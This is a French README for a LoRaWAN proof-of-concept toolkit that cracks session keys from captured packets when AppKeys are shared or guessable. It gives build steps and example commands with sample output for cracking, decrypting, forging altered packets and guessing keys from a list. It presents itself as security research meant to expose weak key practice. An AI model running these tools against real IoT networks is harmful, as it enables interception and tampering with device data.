
LoRaWAN session cracker - Une preuve de concept pour exploiter des clés d'application faibles ou partagées
Créé par Sipke Mellema d'Applied Risk
Ceci est une preuve de concept pour démontrer les dangers d'utiliser la même AppKey sur plusieurs nœuds LoRaWAN.
Ce dépôt contient une boîte à outils pour craquer les clés de session LoRaWAN à partir de paquets capturés. Le scénario d'attaque suppose que vous connaissez l'AppKey mais avez manqué la poignée de main. Ou que l'AppKey n'est pas aléatoire et peut être devinée.
Les poignées de main LoRa utilisent trois valeurs pour générer les clés de session :
AppNonce | NetID | DevNonce
AppNonce et NetID font 3 octets, et DevNonce fait 2 octets. Une partie du NetID est connue, ce qui laisse une entropie de 57 bits. Et en raison de défauts d'implémentation, cela peut être bien inférieur.
Il suffit de faire make. Notez que vous devrez peut-être lier à un emplacement openssl 1.0.* dans le Makefile.
./loracrack -k <AppKey en hexadécimal> -p <paquet brut en hexadécimal>
Craque les clés de session si la poignée de main (join-accept) est manquée mais que l'AppKey est connue. Le craquage est effectué en générant les clés de session et en vérifiant le MIC.
$ ./loracrack -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
Arguments optionnels :
-t threads
-v verbeux (0, 1 ou 2)
-m AppNonce maximal
./loracrack_knownpt -k <AppKey en hexadécimal> -p <paquet brut en hexadécimal> -d <texte en clair en hexadécimal>
Craque les clés de session si la poignée de main (join-accept) est manquée mais que l'AppKey et le texte en clair sont connus. Le craquage est effectué en déchiffrant le FRMPayload et en vérifiant le texte en clair. C'est plus rapide que de vérifier le MIC, car le CMAC utilise plus d'opérations AES.
$ ./loracrack_knownpt -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 -d 33302e3332
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
Arguments optionnels :
-t threads
-v verbeux (0, 1 ou 2)
-m AppNonce maximal
./loracrack_decrypt -k <clé de déchiffrement en hexadécimal> -p <paquet brut en hexadécimal>
Déchiffre les données du paquet si la clé de session est connue.
$ ./loracrack_decrypt -k 4899be88e40088c40abc703fa3ba1195 -p 400267bd018005000142d9f48c52ea717c57
30.32
./loracrack_alterpacket -p <paquet brut en hexadécimal> -a <AppSKey en hexadécimal> -n <NwkSKey en hexadécimal> -c <Fctn> -d <nouvelles données en hexadécimal>
Modifie le paquet avec de nouvelles données, conserve les anciens éléments comme DeviceAddr.
$ ./loracrack_alterpacket -p 400267bd018005000142d9f48c52ea717c57 -a 4899be88e40088c40abc703fa3ba1195 -n 04068f88b9feee5385c67e033d911b4a -c 5 -d 33302d3332
400267bd018005000142d9f78c521c78573b
./loracrack_genkeys -k <AppKey en hexadécimal> -j <paquet de jointure en hexadécimal> -a <paquet d'acceptation en hexadécimal>
Génère les clés de session à partir de la poignée de main (paquets de jointure et d'acceptation) et de l'AppKey.
$ ./loracrack_genkeys -k 88888888888888888888888888888888 -j 0000000000000000002bd61f000ba304000e1ba147157a -a 20adf6e18980952590fc1f7987a6913f35
4e1dcaf4f02fcd2ecbb1cb0d138fc53d 96eb9e13f0a3468ca580707ee688ee19
./loracrack_guessjoin -p <paquet brut en hexadécimal> -f <fichier avec les AppKeys en hexadécimal>
Vérifie si des AppKeys prévisibles sont utilisées en vérifiant le MIC sur un paquet de jointure. Les AppKeys sont extraites d'un fichier contenant des AppKeys encodées en hexadécimal sur de nouvelles lignes.
$ ./loracrack_guessjoin -p 0000000000000000002bd61f000ba304002f3b5785cf80 -f guessjoin_genkeys/simplekeys
88888888888888888888888888888888